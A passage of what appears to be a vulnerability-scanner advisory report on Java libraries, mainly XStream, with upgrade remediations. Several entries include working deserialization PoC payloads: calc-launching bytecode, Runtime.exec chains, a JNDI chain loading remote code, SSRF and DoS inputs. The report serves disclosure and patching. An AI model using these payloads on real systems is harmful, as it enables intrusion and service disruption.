                      <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAbeXNvc2VyaWFsL1B3bmVyNjMzNTA1NjA2NTkzAQAdTHlzb3NlcmlhbC9Qd25lcjYzMzUwNTYwNjU5MzsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>
                      <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
                    </__bytecodes>
                    <__transletIndex>-1</__transletIndex>
                    <__indentNumber>0</__indentNumber>
                  </default>
                </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
              </proxy>
              <implementing__method>
                <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
                <name>getOutputProperties</name>
                <parameter-types/>
              </implementing__method>
            </sun.tracing.dtrace.DTraceProbe>
          </entry>
        </probes>
      </defaultHandler>
    </handler>
  </dynamic-proxy>
</linked-hash-set>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• GitHub Advisory
• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <javax.naming.ldap.Rdn_-RdnEntry>
      <type>12345</type>
      <value class='com.sun.org.apache.xpath.internal.objects.XString'>
        <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: &#x3C;none&#x3E;</m__obj>
      </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
    <javax.naming.ldap.Rdn_-RdnEntry>
      <type>12345</type>
      <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
        <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
          <parsedMessage>true</parsedMessage>
          <soapVersion>SOAP_11</soapVersion>
          <bodyParts/>
          <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
            <attachmentsInitialized>false</attachmentsInitialized>
            <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
              <soapPart/>
              <mm>
                <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                  <aliases class='com.sun.jndi.ldap.LdapBindingEnumeration'>
                    <homeCtx>
                      <hostname>233.233.233.233</hostname>
                      <port__number>2333</port__number>
                      <clnt class='com.sun.jndi.ldap.LdapClient'/>
                    </homeCtx>
                    <hasMoreCalled>true</hasMoreCalled>
                    <more>true</more>
                    <posn>0</posn>
                    <limit>1</limit>
                    <entries>
                      <com.sun.jndi.ldap.LdapEntry>
                        <DN>uid=songtao.xu,ou=oa,dc=example,dc=com</DN>
                        <attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
                          <javax.naming.directory.BasicAttribute>
                            <default>
                              <ignoreCase>false</ignoreCase>
                            </default>
                            <int>4</int>
                            <javax.naming.directory.BasicAttribute serialization='custom'>
                              <javax.naming.directory.BasicAttribute>
                                <default>
                                  <ordered>false</ordered>
                                  <attrID>objectClass</attrID>
                                </default>
                                <int>1</int>
                                <string>javanamingreference</string>
                              </javax.naming.directory.BasicAttribute>
                            </javax.naming.directory.BasicAttribute>
                            <javax.naming.directory.BasicAttribute serialization='custom'>
                              <javax.naming.directory.BasicAttribute>
                                <default>
                                  <ordered>false</ordered>
                                  <attrID>javaCodeBase</attrID>
                                </default>
                                <int>1</int>
                                <string>http://127.0.0.1:2333/</string>
                              </javax.naming.directory.BasicAttribute>
                            </javax.naming.directory.BasicAttribute>
                            <javax.naming.directory.BasicAttribute serialization='custom'>
                              <javax.naming.directory.BasicAttribute>
                                <default>
                                  <ordered>false</ordered>
                                  <attrID>javaClassName</attrID>
                                </default>
                                <int>1</int>
                                <string>refClassName</string>
                              </javax.naming.directory.BasicAttribute>
                            </javax.naming.directory.BasicAttribute>
                            <javax.naming.directory.BasicAttribute serialization='custom'>
                              <javax.naming.directory.BasicAttribute>
                                <default>
                                  <ordered>false</ordered>
                                  <attrID>javaFactory</attrID>
                                </default>
                                <int>1</int>
                                <string>Evil</string>
                              </javax.naming.directory.BasicAttribute>
                            </javax.naming.directory.BasicAttribute>
                          </javax.naming.directory.BasicAttribute>
                        </attributes>
                      </com.sun.jndi.ldap.LdapEntry>
                    </entries>
                  </aliases>
                </it>
              </mm>
            </multiPart>
          </sm>
        </message>
      </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. This vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream with a Java runtime version 14 to 8. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.

PoC

<map>
  <entry>
    <jdk.nashorn.internal.runtime.Source_-URLData>
      <url>http://localhost:8080/internal/</url>
      <cs>GBK</cs>
      <hash>1111</hash>
      <array>b</array>
      <length>0</length>
      <lastModified>0</lastModified>
    </jdk.nashorn.internal.runtime.Source_-URLData>
    <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
  </entry>
  <entry>
    <jdk.nashorn.internal.runtime.Source_-URLData>
      <url>http://localhost:8080/internal/</url>
      <cs reference='../../../entry/jdk.nashorn.internal.runtime.Source_-URLData/cs'/>
      <hash>1111</hash>
      <array>b</array>
      <length>0</length>
      <lastModified>0</lastModified>
    </jdk.nashorn.internal.runtime.Source_-URLData>
    <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
  </entry>
</map>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog
• Nuclei Templates

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). This vulnerability may allow a remote attacker that has sufficient rights to execute commands on the host only by manipulating the processed input stream. No user is affected who followed the recommendation to set up XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 no longer uses a blacklist by default, since it cannot be secured for general purposes.

PoC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class='sun.tracing.NullProvider'>
        <active>true</active>
        <providerType>java.lang.Comparable</providerType>
        <probes>
          <entry>
            <method>
              <class>java.lang.Comparable</class>
              <name>compareTo</name>
              <parameter-types>
                <class>java.lang.Object</class>
              </parameter-types>
            </method>
            <sun.tracing.dtrace.DTraceProbe>
              <proxy class='java.lang.Runtime'/>
              <implementing__method>
                <class>java.lang.Runtime</class>
                <name>exec</name>
                <parameter-types>
                  <class>java.lang.String</class>
                </parameter-types>
              </implementing__method>
            </sun.tracing.dtrace.DTraceProbe>
          </entry>
        </probes>
      </handler>
    </dynamic-proxy>
    <string>calc</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog
• CISA - Known Exploited Vulnerabilities
• Nuclei Templates

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF). This vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream with a Java runtime version 14 to 8. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.

PoC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
        <owner/>
        <managedObjectManagerClosed>false</managedObjectManagerClosed>
        <databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
          <stubHandlers>
            <entry>
              <method>
                <class>java.lang.Comparable</class>
                <name>compareTo</name>
                <parameter-types>
                  <class>java.lang.Object</class>
                </parameter-types>
              </method>
              <com.sun.xml.internal.ws.client.sei.StubHandler>
                <bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
                  <indices>
                    <int>0</int>
                  </indices>
                  <getters>
                    <com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
                  </getters>
                  <accessors>
                    <com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
                      <val_-isJAXBElement>false</val_-isJAXBElement>
                      <val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
                        <type>int</type>
                        <field>
                          <name>hash</name>
                          <clazz>java.lang.String</clazz>
                        </field>
                      </val_-getter>
                      <val_-isListType>false</val_-isListType>
                      <val_-n>
                        <namespaceURI/>
                        <localPart>hash</localPart>
                        <prefix/>
                      </val_-n>
                      <val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
                        <type>java.lang.String</type>
                        <method>
                          <class>jdk.nashorn.internal.runtime.Source</class>
                          <name>readFully</name>
                          <parameter-types>
                            <class>java.net.URL</class>
                          </parameter-types>
                        </method>
                      </val_-setter>
                      <outer-class>
                        <propertySetters>
                          <entry>
                            <string>serialPersistentFields</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>[Ljava.io.ObjectStreamField;</type>
                              <field>
                                <name>serialPersistentFields</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>CASE_INSENSITIVE_ORDER</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>java.util.Comparator</type>
                              <field>
                                <name>CASE_INSENSITIVE_ORDER</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>serialVersionUID</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>long</type>
                              <field>
                                <name>serialVersionUID</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>value</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>[C</type>
                              <field>
                                <name>value</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>hash</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>int</type>
                              <field reference='../../../../../val_-getter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                        </propertySetters>
                        <propertyGetters>
                          <entry>
                            <string>serialPersistentFields</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>[Ljava.io.ObjectStreamField;</type>
                              <field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>CASE_INSENSITIVE_ORDER</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>java.util.Comparator</type>
                              <field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>serialVersionUID</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>long</type>
                              <field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>value</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>[C</type>
                              <field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>hash</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>
                          </entry>
                        </propertyGetters>
                        <elementLocalNameCollision>false</elementLocalNameCollision>
                        <contentClass>java.lang.String</contentClass>
                        <elementDeclaredTypes/>
                      </outer-class>
                    </com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
                  </accessors>
                  <wrapper>java.lang.Object</wrapper>
                  <bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>
                  <dynamicWrapper>false</dynamicWrapper>
                </bodyBuilder>
                <isOneWay>false</isOneWay>
              </com.sun.xml.internal.ws.client.sei.StubHandler>
            </entry>
          </stubHandlers>
          <clientConfig>false</clientConfig>
        </databinding>
        <methodHandlers>
          <entry>
            <method reference='../../../databinding/stubHandlers/entry/method'/>
            <com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
              <owner reference='../../../..'/>
              <method reference='../../../../databinding/stubHandlers/entry/method'/>
              <isVoid>false</isVoid>
              <isOneway>false</isOneway>
            </com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
          </entry>
        </methodHandlers>
      </handler>
    </dynamic-proxy>
    <url>http://localhost:8080/internal/</url>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

Affected versions of this package are vulnerable to Timing Attack through the sample and sample_matrix functions in FrodoEngine.java. An attacker can recover information about the sampled noise values by observing how long Frodo key generation or encapsulation takes when it processes attacker-influenced inputs. The variable-time comparison and sign handling in the error sampler leak the distribution of the generated samples, weakening the secrecy of the private Frodo noise and enabling key-recovery attacks against affected deployments.

Remediation

Upgrade org.bouncycastle:bcprov-jdk18on to version 1.84 or higher.

References

• GitHub Commit
• GitHub Wiki

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). Unchecked allocation of byte buffer can cause a java.lang.OutOfMemoryError exception.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.dataformat:jackson-dataformat-cbor to version 2.11.4, 2.12.1 or higher.

References

• GitHub Commit
• GitHub Issue

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Denial of Service (DoS). An attacker can manipulate the processed input stream and replace or inject objects, that result in exponential recursively hashcode calculation,

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.19 or higher.

References

• GitHub Commit
• XStream Advisory

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. There is vulnerability which may allow a remote attacker to allocate 100% CPU time on the target system depending on CPU type or parallel execution of such a payload resulting in a denial of service only by manipulating the processed input stream.

PoC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='javafx.collections.ObservableList$1'/>
    </default>
    <int>3</int>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
      <dataHandler>
        <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
          <is class='java.io.ByteArrayInputStream'>
            <buf></buf>
            <pos>-2147483648</pos>
            <mark>0</mark>
            <count>0</count>
          </is>
          <consumed>false</consumed>
        </dataSource>
        <transferFlavors/>
      </dataHandler>
      <dataLen>0</dataLen>
    </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

Users who follow the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types are not affected.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.16 or higher.

References

• XStream Advisory
• XStream Changelog
• XStream Workaround

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the deserialization of Ion text encoded data or the IonValue model processing. An attacker can cause a StackOverflowError by crafting malicious Ion data that triggers excessive resource consumption when loaded or processed. This is only exploitable if the application deserializes Ion data from an untrusted source or data that could have been tampered with.

Notes:

According to the README.md file of this package, its domain changed from software.amazon.ion to com.amazon.ion. Please be aware that this vulnerability affects versions of both domains of this package.

For a fix, please check the advisory on the maintained package.

Workaround

This vulnerability can be mitigated by not loading data from untrusted sources or that could have been tampered with.

Remediation

A fix was pushed into the master branch but not yet published.

References

• GitHub Release

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Incomplete Cleanup via multipart request handling in WebFlux. An attacker can exhaust disk space by sending multipart requests with large parts that trigger creation of temporary files, which under certain conditions are not deleted after the request completes, leading to accumulation of temp files and denial of service.

Remediation

Upgrade org.springframework:spring-web to version 6.2.18, 7.0.7 or higher.

References

• GitHub Commit
• spring Security Advisory

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in ReaderBasedJsonParser.java and UTF8DataInputJsonParser.java, when processing deeply nested data. A regression in 3.0 versions caused the StreamReadConstraints.maxNestingDepth setting for DataInput to not be checked, allowing resources to be overwhelmed by malicious inputs.

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.0 or higher.

References

• GitHub Commit
• GitHub Issue